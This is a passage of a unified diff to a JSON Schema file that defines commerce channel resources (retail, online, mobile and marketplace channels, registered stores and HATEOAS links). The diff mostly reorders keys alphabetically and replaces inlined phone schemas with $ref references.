"maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] + "$ref": "../common-types/phone.json", + "description": "Phone number details" + }, + "type": { + "$ref": "../common-types/phone-type.json", + "description": "Type of the contact phone" } - } - } + }, + "title": "Retail Location Contact", + "type": "object" + }, + "type": "array" } - } + }, + "title": "Retail Location", + "type": "object" } - } + }, + "title": "Retail Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Online Channel", - "type": "object", - "description": "Resource representing the Online Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "maxLength": 64, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -7769,237 +8090,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } - ] + ], + "description": "Resource representing the Online Channel", + "title": "Online Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/mobile-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Mobile Channel", - "type": "object", - "description": "Resource representing the Mobile Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", + "description": "unique identifier", + "example": "id", "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, "name": { - "type": "string", "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -8007,237 +8324,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } - ] + ], + "description": "Resource representing the Mobile Channel", + "title": "Mobile Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Marketplace Channel", - "type": "object", - "description": "Resource representing the Marketplace Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": 